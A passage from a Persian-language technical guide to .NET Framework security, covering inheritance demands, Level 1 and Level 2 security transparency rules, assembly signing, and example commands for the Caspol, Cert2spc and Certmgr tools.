 Bهم برای مشتق شدن از کلاس  Cمشتق شود، آنگاه کلاس  Aآن مجوز اعطا شود و از کلاس  Bبه کلاس 

 توان به صورت اعلانی اعمال کرد.ها را میباید آن مجوز را داشته باشد. این درخواست

رود باید به ارث می MyClassهرکلاسی از کلاس  کهاینلزام نمونه کد زیر از یک درخواست وراثت برای ا

کند. این مجوز یک مجوز فرضی را داشته باشد، استفاده می CustomPermissionAttributeمجوز خاص 

 نت وجود ندارد. خاص است و در چارچوب دات

[CustomPermissionAttribute(SecurityAction.InheritanceDemand)] 

public class MyClass 

{ 

    public MyClass() 

    {     

    }    

 

    public virtual string ReadData() 

    { 

        // Access a custom resource. 

    } 

} 

 تابعهای وراثت درخواست

های مشتق ندارد ایستا در کلاس پایه هیچ تاثیری روی کلاس تابعگذاشتن یک درخواست وراثت روی یک 

ها در تابعهای استاتیک مرتبط نیستند. با این وجود گذاشتن درخواست وراثت روی هر کدام از تابعن چو

ها در کلاس مشتق، حتی سازنده تابعکلاس پایه همان تاثیر درخواست وراثت روی کلاس را دارد. تمام 

 کلاس، باید درخواست وراثت را برآورده کنند.
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 1کد شفاف امنیتي 6-۲-3

های . سندباکس به عمل ایجاد دامنهاعمالو  مجوزها، 2سندباکسباشد: امنیت شامل سه بخش متعامل می

شود و دیگری به مجوزهای مجموعه شود که در آن با یک کد به عنوان کاملا مطمئن رفتار میمجزا گفته می

 ،شودسندباکس اجرا می اعطای یمجموعه ی. کد برنامه که در حیطهشودبرای سندباکس محدود می 3اعطا

 یتواند هیچ عملی انجام دهد که روی امنیت تاثیر بگذارد. مجموعه.یعنی نمیشودشفاف در نظر گرفته می

توسط سندباکس و انواع  موردنیاز. شاهد مجوزهای خاص شودتعیین می 4اعطا برای سندباکس توسط شواهد

به معنی دادن اجازه اجرا به کد شفاف فقط در کند. اعمال های قابل ایجاد را شناسایی میسندباکس

 مجموعه اعطای آن است. یمحدوده

 هدف از مدل شفافیت 

شود از کدی که به عنوان شفافیت یک مکانیزم اعمال است که کدی را که به عنوان بخشی از برنامه اجرا می

های ممتاز )کد بحرانی( تواند کارکند. شفافیت بین کدی که میشود جدا میبخشی از زیرساخت اجرا می

کند. کد شفاف تواند )کد شفاف(، یک سد ایجاد مینظیر فراخانی کد بومی انجام دهد و کدی که نمی

تواند کد بحرانی را اجرا تواند دستوراتی را اجرا کند که محدود به مجموعه مجوزهای آن است ولی نمیمی

 در بر بگیرد. آن راکند یا از آن به ارث برود یا 

های متفاوت کد بر هدف اصلی اعمال شفافیت فراهم کردن یک مکانیزم ساده و مؤثر برای جداسازی گروه

یا کاملاً مطمئن هستند )یعنی محدود  های امتیازاساس امتیاز است. در زمینه مدل سندباکس، این گروه

 ه سندباکس هستند(.یا تا حدی مطمئن هستند )یعنی محدود به مجموعه مجوزهای اعطا شده ب اند(نشده
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ها و تر کردن نوشتن و استقرار کتابخانهبرای ساده سازی مدل امنیتی و ساده 2.0نت نسخه شفافیت در دات

سازی تولید برای ساده مایکروسافت 1در سیلورلایت چنینهمهای امن معرفی شد. کد شفاف برنامه

 های تا حدی مطمئن به کار گرفته شده است.برنامه

 سطح شفافیتتعیین  

که اسمبلی باید  SecurityRuleSetبه طور صریح قواعد  SecurityRulesAttributeصفت سطح اسمبلی 

اند که سطوح بندی عددی سازماندهی شدهسطحکند. این قواعد تحت یک سیستم دنبال کند را انتخاب می

 اعمال شدیدتر قواعد امنیتی است.دهنده نشانبالاتر 

 ز:این سطوح عبارتند ا

  4نت : قواعد شفافیت چارچوب دات2سطح 

  2.0نت : قواعد شفافیت چارچوب دات1سطح 

ها از خارج قواعد شفافیت را برای فراخوانی 1ترین تفاوت این دو سطح شفافیت در این است که سطح مهم

 کند و فقط برای سازگاری وجود دارد.اسمبلی اعمال نمی

را فقط برای کدی  1ط باید برای سازگاری استفاده کنید. یعنی سطح شفافیت فق 1: شما از سطح مهم ینکته

تر تولید شده است و از صفت یا قبل 3.5نت استفاده کنید که با دات

AllowPartiallyTrustedCallersAttribute کند. مثلا از کند یا از مدل شفافیت استفاده نمیاستفاده می

فراخوانی از  یاستفاده کنید که اجازه 2.0نت اتهای چارچوب دبرای اسمبلی 1شفافیت سطح 

تولید شده است همیشه  4نت دهند. برای کدی که برای چارچوب داتهای تاحدی مطمئن را میفراخواننده

 استفاده کنید. 2از شفافیت سطح 

 ۲شفافیت سطح 

-بحرانیف، کد معرفی شد. سه اصل این مدل عبارتند از: کد شفا 4نت در چارچوب دات 2شفافیت سطح 

 امنیتی.-بحرانیامنیتی، کد -امن
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 تواند کدهای شفاف دیگر یا کد کد شفاف، مستقل از مجوزهایی که به آن اعطا شده، فقط می

تواند عملیاتی را انجام امنیتی را فراخوانی کند. اگر کد تا حدی مطمئن است، فقط می-امن-بحرانی

تواند انجام است. کد شفاف کارهای زیر را نمی مجوزها مجاز شده یمجموعه یدهد که در دامنه

 دهد:

o  انجام یک عملAssert .یا بالابردن امتیاز 

o .در برداشتن کد ناامن یا غیرقابل وارسی 

o .فراخوانی مستقیم کد بحرانی 

o  فراخوانی کد بومی یا کدی که صفتSuppressUnmanagedCodeSecurityAttribute 

 دارد.

o  درخواست لینک محافظت شده است.فراخوانی عضوی که توسط یک 

o .ارث بری از انواع بحرانی 

های واسط تابعهای مجازی بحرانی را بازنویسی کنند یا تابعتوانند های شفاف نمیتابعبه علاوه 

 .سازی کنندبحرانی را پیاده

 د امنیتی کاملاً مورد اعتماد است ولی توسط کد شفاف قابل فراخوانی است. این ک-امن-کد بحرانی

های درستی و امنیتی دهد. وارسییک فضای محدود کد کاملاً مورد اعتماد را در دسترس قرار می

 شود.امن انجام می-برای کدهای بحرانی

 توان فراخوانی کرد ولی توسط کد شفاف امنیتی را فقط توسط کدهای کاملاً مطمئن می-کد بحرانی

 قابل فراخوانی نیست.

 1سطح شفافیت 

نویسان این امکان را بدهد که معرفی شد تا به برنامه 2.0 ینت نسخهدر چارچوب دات 1سطح شفافیت 

 2.0 یدر نسخه 1شفافیت سطح  کهاینمقدار کدی که نیاز به بازرسی امنیتی دارد را کاهش دهند. با وجود 

کار گرفته  به صورت عمومی وجود داشت ولی اکثراً فقط توسط مایکروسافت برای اهداف بازرسی امنیتی به

توانند ها و اعضا میاعلام کنند که کدام نوعنویسان قادر هستند تا نویسی، برنامهشد. با استفاده از حاشیه

امنیتی(. کدی که به عنوان کد شفاف -توانند)شفافامنیتی( انجام دهند و کدام نمی-عملیات مطمئن )بحرانی

کند که اعمال بیان می 1نیتی ندارد. شفافیت سطح بالایی از بازرسی ام یشناسایی شود نیازی به درجه

-شفافیت محدود به درون یک اسمبلی است. به عبارت دیگر همه یا اعضای عمومی که به عنوان بحرانی
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خواهید امنیت را امنیتی هستند. اگر شما می-اسمبلی بحرانی یشوند فقط در محدودهامنیتی شناسایی می

شوند اعمال کنید شما باید از تقاضاهای لینک ز بیرون از اسمبلی فراخوانی میبرای این انواع و اعضا وقتی ا

-امن-امنیتی به عنوان بحرانی-برای اطمینان کامل استفاده کنید. اگر این کار را نکنید انواع و اعضای بحرانی

 فراخوانی کرد.را توسط کد تاحدی مطمئن از بیرون اسمبلی  هاآنتوان شوند و میامنیتی در نظر گرفته می

 های زیر را دارد:محدودیت 1شفافیت سطح 

 امنیتی که عمومی هستند در دسترس کد شفاف امنیتی هستند.-انواع و اعضای بحرانی 

 شوند.های شفافیت فقط در درون اسمبلی اعمال مینویسیحاشیه 

 ها از برای فراخوانیهای لینک برای اعمال امنیت امنیتی باید از درخواست-انواع و اعضای بحرانی

 خارج اسمبلی استفاده کنند.

 شوندقواعد وراثت اعمال نمی. 

 رسان انجام این پتانسیل وجود دارد که کد شفاف، وقتی در اطمینان کامل اجرا شود، کارهای آسیب

 .دهد

 اعمال شفافیت 

شفافیت  ییک قاعده شوند. در این زمان، اگرقواعد شفافیت تا زمانی که شفافیت محاسبه شود، اعمال نمی

شود. زمانی که شفافیت محاسبه برگردانده می InvalidOperationExceptionنقش شود، یک استثنای 

بینی کرد. شفافیت در دیرترین زمان ممکن پیش آن راتوان شود بستگی به عوامل متعددی دارد و نمیمی

 2.0نت لی زودتر از چارچوب دات، محاسبه شفافیت سطح اسمب4نت شود. در چارچوب داتمحاسبه می

شفافیت تا زمانی که به آن نیاز است انجام خواهد گرفت.  یافتد. تنها تضمین این است که محاسبهاتفاق می

 شفافیت اگر کد شما هیچ خطای شفافیتی نداشته باشد، مخفی است.  یمحاسبه

 ۲شفافیت سطح  7-۲-3

 در این بخش مسایل زیر را معرفی خواهیم کرد:

 های کاربردرفتارها و مثال 

 الگوهای بازنویسی 

 قواعد وراثت 

 اطلاعات و قواعد دیگر 
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 های کاربردرفتارها و مثال 

نویسی زیر برای یک اسمبلی ( از حاشیه2)شفافیت سطح  4نت به منظور توصیف قواعد چارچوب دات

 استفاده کنید:

[assembly: SecurityRules(SecurityRuleSet.Level2)] 

 نویسی زیر استفاده کنید:(، از حاشیه1)شفافیت سطح  2.0نت توصیف قواعد چارچوب دات برای

[assembly: SecurityRules(SecurityRuleSet.Level1)] 

فرض استفاده پیشبه صورت  4نت نویسی نکنید، قواعد چارچوب داتاگر شما یک اسمبلی را حاشیه

به جای تکیه  SecurityRulesAttributeده از صفت ااد شده استفبهترین تجربه پیشنهخواهند شد. با این حال 

 است. فرضپیشبر 

 نویسي در سطح اسمبليحاشیه

 شوند:قواعد زیر برای استفاده از صفات در سطح اسمبلی اعمال می

 امنیتی -کد را به عنوان بحرانی یهمه ،بدون صفت: اگر شما هیچ صفتی توصیف نکنید، زمان اجرا

 تابعوراثت را نقض کند. )مثلاً وقتی یک  یامنیتی یک قاعده-بحرانی کهاینکند مگر تفسیر می

امن -بحرانی هاتابعها این کنید(. در این حالتسازی یا بازنویسی میواسط یا مجازی شفاف را پیاده

اجرا زبان مشترک قواعد شفافیت را برای شما  شود که زمانهستند. عدم استفاده از صفات باعث می

 تعیین کند.

 SecurityTransparent :کد شفاف است؛ کل اسمبلی هیچ کار ممتاز یا ناامنی نخواهد کرد. یهمه 

 SecurityCritical :کد که توسط انواع در این اسمبلی معرفی شده است، بحرانی است.  یهمه

ناریو شبیه عدم تعریف صفت است. با این وجود زبان کدهای دیگر شفاف هستند. این س یهمه

 تابعمشترک زمان اجرا به صورت خودکار قواعد شفافیت را تعیین نخواهد کرد. مثلاً اگر شما یک 

آن  فرضپیشسازی کنید، به صورت واسط را پیاده تابعانتزاعی یا مجازی را بازنویسی کنید یا یک 

 SecuritySafeCrirticalیا  SecurityCriticalا به عنوان ر تابعشفاف است. شما باید آن  تابع

 TypeLoadExceptionصورت در زمان بارگذاری یک استثنای نویسی کنید؛ درغیر اینحاشیه

 شود.برگردانده می

 AllowPartiallyTrustedCallers  شفاف است.  فرضپیشکد به صورت  یهمه(: ۲)فقط سطح

 توانند صفات دیگری داشته باشند.با این وجود انواع و اعضای منفرد می
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 نویسي در سطح نوع و عضوحاشیه

شوند. با شوند نیز اعمال میشوند به اعضایی که در آن نوع معرفی میصفات امنیتی که به یک نوع اعمال می

شوند. قواعد های واسط اعمال نمیسازییا پیادههای انتزاعی یا مجازی کلاس پایه این وجود به بازنویسی

 شوند:زیر به استفاده از صفات در سطح نوع و عضو اعمال می

 SecurityCritical : .نوع یا عضو بحرانی است و فقط توسط کد کاملاً مطمئن قابل فراخوانی است

 شوند بحرانی هستند.امنیتی تعریف می-هایی که در یک نوع بحرانیتابع

 SecuritySafeCritical :توان از کد امن است. با این حال نوع یا عضو را می-نوع یا عضو بحرانی

های کدهای بحرانی دیگر را دارد. این کد باید تحت بازرسی شفاف فراخوانی کرد و همه توانایی

 امنیتی قرار بگیرد.

 الگوهای بازنویسي 

 دهد:نشان می مجاز است، 2ها را که در شفافیت سطح تابعجدول زیر بازنویسی 

 : الگوهای بازنویسي1-3جدول 

 بازنویسی/واسط مجازی/واسط یعضو پایه

Transparent Transparent 
Transparent SafeCritical 
SafeCritical Transparent 
SafeCritical SafeCritical 

Critical Critical 

 قواعد وراثت 

امن منتسب -ها به کدهای شفاف، بحرانی و بحرانیترتیب زیر براساس دسترسی و قابلیتبخش در این 

 شود:می

 شفاف >امن -بحرانی >بحرانی 

 شده باید حداقل به مشتقشود. انواع تر میقواعد برای انواع: از چپ به راست، دسترسی محدودکننده

 نوع پایه محدودکننده باشند. یاندازه
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  اند تغییر دهند. پایه گرفته تابعپذیری که از توانند دسترسهای مشتق نمیتابعها: تابعقواعد برای

. اند شفاف هستندنویسی نشدههایی که حاشیهتابعگونه است که تمام به این فرضپیشرفتار 

شده به صورت بازنویسی تابعشوند اگر می ها از انواع بحرانی باعث ایجاد یک استثناشدهمشتق

 نویسی نشده باشد.امنیتی حاشیه-عنوان بحرانیبه صریح 

 دهد:جدول زیر الگوهای مجاز وراثت نوع را نشان می

 : الگوهای مجاز وراثت نوع۲-3جدول 

 تواند باشد:کلاس مشتق می کلاس پایه

Transparent Transparent 
Transparent SafeCritical 
Transparent Critical 
SafeCritical SafeCritical 
SafeCritical Critical 

Critical Critical 

 دهد:جدول زیر الگوهای غیرمجاز وراثت نوع را نشان می

 الگوهای غیرمجاز وراثت نوع: 3-3جدول 

 تواند باشد:مینکلاس مشتق  کلاس پایه

SafeCritical Transparent 
Critical Transparent 
Critical SafeCritical 

 دهد:را نشان می تابعجدول زیر الگوهای مجاز وراثت 

 تابع: الگوهای مجاز وراثت 4-3جدول 

 تواند باشد:مشتق می تابع پایه تابع

Transparent Transparent 
Transparent SafeCritical 
SafeCritical Transparent 
SafeCritical SafeCritical 

Critical Critical 

 دهد:را نشان می تابعجدول زیر الگوهای غیرمجاز وراثت 
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 تابع: الگوهای غیرمجاز وراثت 5-3جدول 

 تواند باشد:مینمشتق  تابع پایه تابع

Transparent Critical 
SafeCritical Critical 

Critical Transparent 
Critical SafeCritical 

 اطلاعات و قواعد دیگر 

، درخواست لینک را با صفت 2مدل شفافیت سطح پشتیباني از درخواست لینک: 

SecurityCriticalAttribute  با یک درخواست لینک به صورت 1جایگزین کرده است. در کد سطح ،

 .شودخودکار به عنوان یک درخواست برخورد می

اد بحرانی یا خواندن یک فیلد بحرانی یک درخواست برای اطمینان کامل ایج تابعفراخوانی یک  انعکاس:

تواند یک اید(. بنابراین کد با اطمینان کامل مییا فیلد خصوصی را فراخوانی کرده تابعکند )انگار شما یک می

 تواند.بحرانی را فراخوانی کند ولی یک کد تاحدی مطمئن نمی تابع

فیلد،  یا تابعاضافه شده است تا تعیین کند که یک نوع،  System.Reflectionهای زیر به فضای نام ویژگی

SecurityCritical ،SecuritySafeCritical یا SecurityTransparent  :استIsSecurityCritical، 

IsSecuritySafeCritical وIsSecurityTransparentها برای تعیین شفافیت با استفاده از . از این ویژگی

هستند و بررسی برای صفت انعکاس به جای بررسی حضور یک صفت استفاده کنید. قواعد شفافیت پیییده 

 ممکن است کافی نباشد.

شفافیت را از نوع به  هاآنبرند؛ متصل هستند به ارث می هاآنکه به هایی پیمانههای پویا شفافیت را از تابع

 برند.ارث نمی

 در trueبه  SkipVerificationInFullTrustتوانید با تنظیم ویژگی شما می عدم وارسي در اطمینان کامل:

 های شفاف کاملاً مطمئن جلوگیری کنید:، از وارسی برای اسمبلی SecurityRulesAttributeصفت

[assembly: SecurityRules(SecurityRuleSet.Level2, 

SkipVerificationInFullTrust = true)] 

گیری از بنابراین برای جلو .است false فرضپیشبه صورت  SkipVerificationInFullTrustمقدار ویژگی 

سازی انجام شود. شما باید قرار داده شود. این فقط باید برای اهداف بهینه trueوارسی باید مقدار آن برابر با 
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در ابزار  transparent یمطمئن شوید که کد شفاف در این اسمبلی قابل وارسی با استفاده از گزینه

PEVerify .است 

 نتامنیت اسمبلي دات 3-3

توانید یک مجموعه از مجوزها مشخص کنید که اسمبلی کنید، شما میمیکامپایل وقتی شما یک اسمبلی را 

 مجوزهای خاص به اسمبلی اعطا شوند یا نشوند مبتنی بر شواهد است. کهاینبرای اجرا نیاز دارد. 

 دو روش مجزا برای استفاده از شواهد وجود دارد:

  نهایی از شواهد ادغام  یوسط بارگذار برای ایجاد یک مجموعهشده تجمعشاهد ورودی با شواهد

کنند عبارتند از: هایی که از این سمانتیک استفاده میتابعشود تا سیاست مشخص شود. می

Assembly.Load، Assembly.LoadFrom وActivator.CreateInstance. 

 شود. این ن سیاست استفاده میشاهد ورودی بدون تغییر به عنوان مجوعه نهایی شواهد برای تعیی

 و Assembly.Load(byte[])کنند: ها از این سمانتیک استفاده میتابع

AppDomain.DefineDynamicAssembly(). 

شود شده روی کامپیوتری که اسمبلی اجرا میتنظیموسیله سیاست امنیتی هتوان بمجوزهای اختیاری را می

توانید یکی از تمام استثناهای امنیتی بالقوه را مدیریت کند، شما می خواهید کد شمااعطا کرد. اگر شما می

 کارهای زیر را انجام دهید:

  یک درخواست مجوز برای تمام مجوزهایی که کد شما باید داشته باشد درج کنید و شکستی را که

 افتد از قبل مدیریت کنید.اگر مجوزها اعطا نشوند اتفاق می

  دست آوردن مجوزهایی که کد شما ممکن است نیاز داشته باشداز درخواست مجوز برای به، 

که ممکن است در صورت عدم اعطای مجوزها اتفاق استثناهایی ولی برای مدیریت  .استفاده نکنید

 بیافتند آماده باشید.

شوند. سیاست امنیتی توسط در زمان بارگذاری شواهد اسمبلی به عنوان ورودی سیاست امنیتی استفاده می

شود و مجموعه مجوزهایی که به زمان و مدیر کامپیوتر به همراه تنظیمات سیاست امنیتی کاربر ساخته میسا

توان برای ناشر اسمبلی، یتی را میکند. سیاست امنشود را تعیین میشده زمان اجرا داده میمدیریتکد  یهمه

ام قوی اسمبلی ساخت. مثلاً مدیر یک ای که اسمبلی از آن دانلود شده یا برای نو منطقه سایتوببرای 

و امضا شده  سایتوبتوانید یک سیاست امنیتی برقرار کند که به همه کدهای دانلودشده از یک کامپیوتر می
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روی یک کامپیوتر را بدهد ولی مجوز  دادهپایگاهافزاری خاص اجازه دسترسی به توسط یک کمپانی نرم

 نوشتن روی دیسک کامپیوتر را ندهد.

 های دارای نام قوی و ابزارهای امضاسمبليا 1-3-3

توانید یک اسمبلی را با استفاده از دو روش مکمل امضا کنید: با نام قوی یا استفاده از ابزار امضای شما می

SignTool.exe امضای یک اسمبلی با نام قوی یک رمزنگاری کلید عمومی به فایل حاوی مانیفست اسمبلی .

فرد بودن نام بررسی شود و از جعل نام جلوگیری ه کند تا منحصر بقوی کمک می کند. امضای ناماضافه می

 شود و هنگام ارجاع به فراخواننده یک هویت بدهد.

کند. ابزار را مهم می SignToolشود که این مساله با این حال هیچ سطحی از اطمینان به نام قوی مرتبط نمی

اثبات  نامهگواهیرای یک مرجع سوم شخص برای دریافت یک کند که یک ناشر هویتش را بامضا الزام می

گیری در مورد اطمینان به تواند از آن برای تصمیمشود و مدیر میدر فایل شما تعبیه می نامهگواهیکند. این 

 اصالت کد شما استفاده کند.

بدهید یا فقط از یکی را به یک اسمبلی  SignToolتوانید هم نام قوی و هم امضای تولید شده توسط شما می

کنید شما فایلی را امضا می ،تواند یک فایل را امضا کندابزار امضا در هر لحظه فقط می استفاده کنید. هاآناز 

شود ولی یک که حاوی مانیفست اسمبلی است. یک نام قوی در فایل حاوی مانیفست اسمبلی ذخیره می

رزرو شده در فایل قابل اجرای حاوی مانیفست اسمبلی ایجاد شده در یک حفره  SignToolکه توسط  امضا

توان به کار برد وقتی که شما یک را می SignToolشود. امضای یک اسمبلی با استفاده از ذخیره می

است یا وقتی که سیاست شما  SignToolمراتب اطمینان دارید که مبتنی بر امضاهای تولید شده توسط سلسله

 کند.کند و زنجیره اطمینان را بررسی نمیمی فقط از بخش کلید استفاده

دهد؛ مانیفست اسمبلی لیستی از تمام سازی انجام مییک بررسی درهم چنینهمزبان مشترک زمان اجرا 

باشد. با بارگذاری هر فایل، سازی از هر فایل میسازند دارد که شامل یک درهمهایی که اسمبلی را میفایل

شود. اگر دو مقدار مطابق شود و با مقدار ذخیره شده در مانیفست مقایسه میسازی میمحتوای آن درهم

 شود.باشند، اسمبلی بارگذاری نمین

توانید کند، شما میجامعیت را تضمین می SignToolگذاری قوی و امضا با استفاده از که نامییجاآناز 

گذاری قوی و امضا سیاست امنیتی دسترسی به کد را بر اساس این دو شکل از شواهد اسمبلی قرار دهید. نام

-هایی که مطرح شدکند. تمام تکنولوژیها تضمین مینامهگواهیل و جامعیت را از طریق امضاهای دیجیتا
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کنند تا تضمین کنند که اسمبلی به هیچ طریقی با هم کار می -گذاری قوی و امضاسازی، نامبررسی درهم

 تغییر نکرده است.

 نتابزارهای امنیتي دات 4-3

 Caspol.exeابزار سیاست امنیت دسترسي به کد  1-4-3

سازد که سیاست ( کاربران و مدیران را قادر میCAS( )Caspol.exeدسترسی به کد )ابزار سیاست امنیت 

 امنیت را برای سطح سیاست ماشین، سطح سیاست کاربر و سطح سیاست سازمان اصلاح کنند.

 تا زمانی که Caspol.exeهای بعدی، و نسخه 4ی نسخه نتچارچوب داتدر  :مهم

 تاثیری ندارد. CASروی سیاست  مقداردهی نشده باشد، «true»با   <legacyCasPolicy>  عنصر

بیتی سیاست امنیت را دارند. برای اطمینان از  64بیتی و  32های بیتی، هر دو نسخه 64کامپیوترهای : توجه

و  64 یهر دو نسخهشود، بیتی اعمال می 32و  64های این موضوع که تغییر سیاست شما به هر دو برنامه

  .را اجرا کنید Caspol.exeبیتی  32

. شودمینصب  نت و با ویژوال استودیوچارچوب داتبه طور خوکار با سیاست امنیتی دسترسی به کد ابزار 

را در مسیر  Caspol.exeبیتی  32های توانید بر روی سیستمشما می

%windir%\Microsoft.NET\Framework\ بیتی در مسیر  64های و در سیستم

%windir%\Microsoft.NET\Framework64\ مکان  ،برای مثال. )بیابیدCaspol.exe  نت چارچوب داتبرای

 بیتی به صورت زیر است: 64روی یک سیستم  4 ینسخه

%windir%\Microsoft.NET\Framework64\v4.030319\caspol.exe) 

ی ویژوال استودیو استفاده کنید که نیازی به نویسی براکنیم از خط فرمان برنامهبرای اجرای ابزار پیشنهاد می

 رفتن به پوشه نصب ندارد.

 فراخواني ابزار: ینحوه

caspol [options] 

 پارامترها

از حوصله این مستند خارج  هاآنبسیار زیاد است و بیان  هاآنتعداد پارامترها و توضیحات  کهاینبا توجه به 

 توانید به آدرس زیر مراجعه نمایید:است می
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https://msdn.microsoft.com/en-us/library/cb6t8dtz(v=vs.110).aspx?f=255&MSPPError=-

2147217396#Anchor_1 

 نکات

 استیکاربر و س استیس ن،یماش استی: سشوندیم انیب استیبا استفاده از سه سطح س تیامن هایاستیس

توسط اشتراک مجموعه  کندیم افتیدر یاسمبل کیکه  ییهایمجموعه دسترس .(enterprise) سازمان

 یمراتبهساختار سلس کیبا  استی. هر سطح سشودیم نییتع استیسه س نیشده با انییتع یهایدسترس

از  یکدام کد عضو کندیم نییدارد که تع تیشرط عضو کی. هر گروه کد شودیداده م نمایشکد  یهاگروه

. شودیکد اختصاص داده م هایبه هر کدام از گروه زیشده ن یگذارنام یمجموعه دسترس کیآن گروه است. 

 کی. کنندیرا برآورده م تیضوع طیکه شرا کندیرا مشخص م یمتعلق به کد یهایمجموعه، دسترس نیا

را  تیامن استی، هر سطح از سبه همراه مجموعه مجوزهای نامدار مرتبط با آنگروه کد،  مراتبسلسله

 یرا برا enterprise-و  user  ،-customuser  ،-machine- هاینهیگز دتوانیی. مکندیم داریتعریف و نگه

 . دیمورد استفاده قرار ده تیامن استیسطح س تنظیم

 های مجوزهای کد و مجموعهارجاع به گروه

را های کد یک لیست از گروه list-ی ، گزینهمراتبدر یک سلسله هادادن به گروهجاع اربه منظور تسهیل در 

-و ...(. دیگر عملیات خط دستور که گروه 1.1.1، 1.1، 1دهد )نمایش می هاآنهای عددی در کنار برچسب

های کد مشخص های عددی برای ارجاع دادن به گروهاند نیز از برچسبگرفتههای کد را مورد هدف قرار 

 کنند. استفاده می

-لیستی از گروه list-ی د. گزینهشوارجاع داده می هاآن وسط نامشده، تگذارینامهای مجموعه دسترسیبه 

 دهد.در سیاست نشان می های مجوز موجوداز مجموعهشده گذاریناملیست یک  به همراه ی کد راها

 های استفادهمثال

-addfulltrust : فرض کنید یک مجموعه دسترسی شامل یک دسترسی سفارشی به سیاست ماشین اضافه

به  MyPerm.exeو  سازی شده استپیاده MyPerm.exeشده باشد. این دسترسی سفارشی در 

MyOther.exe رد اطمینان اضافه شوند. موکاملاً های باید به لیست اسمبلی . هر دو اسمبلیدهدارجاع می

 کند.را به اسمبلی لیست مورد اطمینان اضافه می MyPerm.exeزیر  دستور

caspol -machine -addfulltrust MyPerm.exe 

 کند.اضافه میبرای سیاست ماشین مورد اطمینان کاملاً را به لیست  MyOther.exeدستور زیر اسمبلی 

https://msdn.microsoft.com/en-us/library/cb6t8dtz(v=vs.110).aspx?f=255&MSPPError=-2147217396#Anchor_1
https://msdn.microsoft.com/en-us/library/cb6t8dtz(v=vs.110).aspx?f=255&MSPPError=-2147217396#Anchor_1
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caspol -machine -addfulltrust MyOther.exe 

د. گروه کد کنماشین اضافه میسیاست  کد گروهمراتب سلسله یبه ریشهفرزند را زیر یک گروه کد  دستور

 است.  مرتبط Executionو با مجموعه دسترسی  Internetی جدید عضوی از منطقه

caspol -machine -addgroup 1.  -zone Internet Execution 

 کند. اضافه می netserver\netshare\\دستور زیر یک زیر گروه کد را به 

caspol -machine -addgroup 1. -url \\netserver\netshare\* 

LocalIntranet 

-addpset: دسترسی  یدستور زیر مجموعهMypset  کند. را به سیاست کاربر اضافه می 

caspol -user -addpset Mypset.xml Mypset 

-chggroup :یرا به مجموعه .1.2دسترسی سیاست کاربر گروه کد با برچسب  یدستور زیر مجموعه 

 دهد.تغییر می Executionدسترسی 

caspol -user -chggroup 1.2. Execution 

یمات ظدهد و تنرا تغییر می 1.2.1فرض گروه کد با برچسب پیشت دستور زیر شرط عضویت در سیاس

 کند. را نیز عوض می exclusiveپرچم 

caspol -chggroup 1.2.1. -zone Internet -exclusive on 

-chgpset :دسترسی را با نام  یدستور زیر مجموعهMyset شامل های دسترسی یبرای مجموعه

newpset.xml یای که به تازگی منتشر شده است تغییرات مجموعهکه نسخه وجه کنیدتدهد. تغییر می 

 کند. اند را پشتیبانی نمیهایی که با گروه کد مرتبط استفاده شدهدسترسی

caspol -chgpset Mypset newpset.xml 

-force :دسترسی  یمجموعه ( با1ی سیاست )برچسب ریشه شود تا گروه کددستور زیر سبب میNothing 

 . گیردرا می Caspol.exeامر جلوی اجرای همراه شود. این 

caspol -force -user -chggroup 1 Nothing 

-recover :کند.این دستور جدیدترین سیاست ماشین ذخیره شده را بازیافت می 

caspol -machine -recover 

-remgroup : گروه کد هرگونه زیر گروهی داشته باشد، کند. اگر این را حذف می .1.1دستور زیر گروه کد

 شوند. ها نیز حذف میآن گروه

caspol -remgroup 1.1. 

-rempset : دستور زیر مجموعه دسترسیExecution کند. را از سیاست کاربر حذف می 

caspol -user -rempset Execution 

 کند. را از سطح سیاست کاربر حذف می Mypsetدستور زیر 

caspol -rempset MyPset 
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-resolvegroup :دهد که های کد سیاست ماشین را نشان میدستور زیر تمام گروهmyassembly   به آن تعلق

 دارد. 

caspol -machine -resolvegroup myassembly 

تعلق دارند را نشان   myassemblyدستور زیر تمام گروه کدهای ماشین، کاربر و سیاست کاربرهایی که به 

 دهد.می

caspol -customall "c:\config_test\security.config" -resolvegroup 

myassembly 

-resolveperm: 

 کند. را بر اساس سطوح سیاست کاربر و ماشین محاسبه می  testassemblyهای دستور زیر اجازه

caspol -all -resolveperm testassembly 

 Cert2spc.exeر افزاناشر نرم ینامهگواهيابزار سنجش  ۲-4-3

ناشر  نامهگواهییک ، X.509 هاییاز گواه یشتریتعداد ب ای کیاز  افزارناشر نرم ینامهگواهیابزار سنجش 

 یدهندهاراله کیاز  دتوانییاست. شما م آزمون یفقط برا Cert2spc.exe. کند( ایجاد میSPCافزار )نرم

 .دیابی معتبر، دست یSPC کی، به Thawte ای VeriSignمجوز مانند 

خط  که از مکنییم هیابزار، توص یاجرا ی. براشودینصب مویژوال استودیو صورت خودکار با ابزار به نیا

بدون  یسادگکه به سازدیکاربردها شمارا قادر م نی. ادیاستفاده کننویس برای ویژوال استودیو فرمان برنامه

 . دینصب، ابزار را اجرا کن یبه رفتن به پوشه ازین

 اجرای برنامه ینحوه

 

cert2spc cert1.cer | crl1.crl [... certN.cer | crlN.crl] 

outputSPCfile.spc 

 پارامترها

 شرح آرگومان

certN.cer   نام یک گواهیX.509  برای شامل شدن در فایلSPCاند فاصله جداشده نام که باچندین توانید . می

 کنید.را مشخص 

crlN.crl  نام لیست ابطال گواهی برای شامل شدن در فایلSPCفاصله   نام که باچندین توانید . می
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 اند را مشخص کنید.جداشده

outputSPCfile.spc  شینام PKCS #7 های که شامل گواهیX.509  .خواهد شد 

 ی کاربردهامثال

 دهد:جای می mySPCFile.spcکند و آن را در ایجاد می  myCertificate.cerاز  SPCفرمان زیر، یک 

cert2spc myCertificate.cer mySPCFile.spc 

کند و آن را در ایجاد می twoCertificate.cerو  oneCertificate.cer از SPCفرمان زیر، یک 

mySPCFile.spc دهد:جای می 

cert2spc oneCertificate.cer twoCertificate.cer mySPCFile.spc 

 Certmgr.exe نامهگواهيابزار مدیر  3-4-3

 و (CTLs) هانامهگواهی های اطمینانها، لیستنامهگواهی(، certmgr.exe) نامهگواهیابزار مدیریت 

 کند. ( را مدیریت میCRLs) نامهگواهیلغو  هایلیست

فرمان ویژوال شود. برای اجرای ابزار از خط این ابزار به صورت خودکار با ویژوال استودیو نصب می

 نویس استفاده کنید.استودیو برای برنامه

 در خط فرمان دستور زیر را تایپ کنید:

certmgr [/add | /del | /put] [options] 

[/s[/r registryLocation]] [sourceStorename] 

[/s[/r registryLocation]] [destinationStorename] 

 پارامترها

 تعریف آرگومان

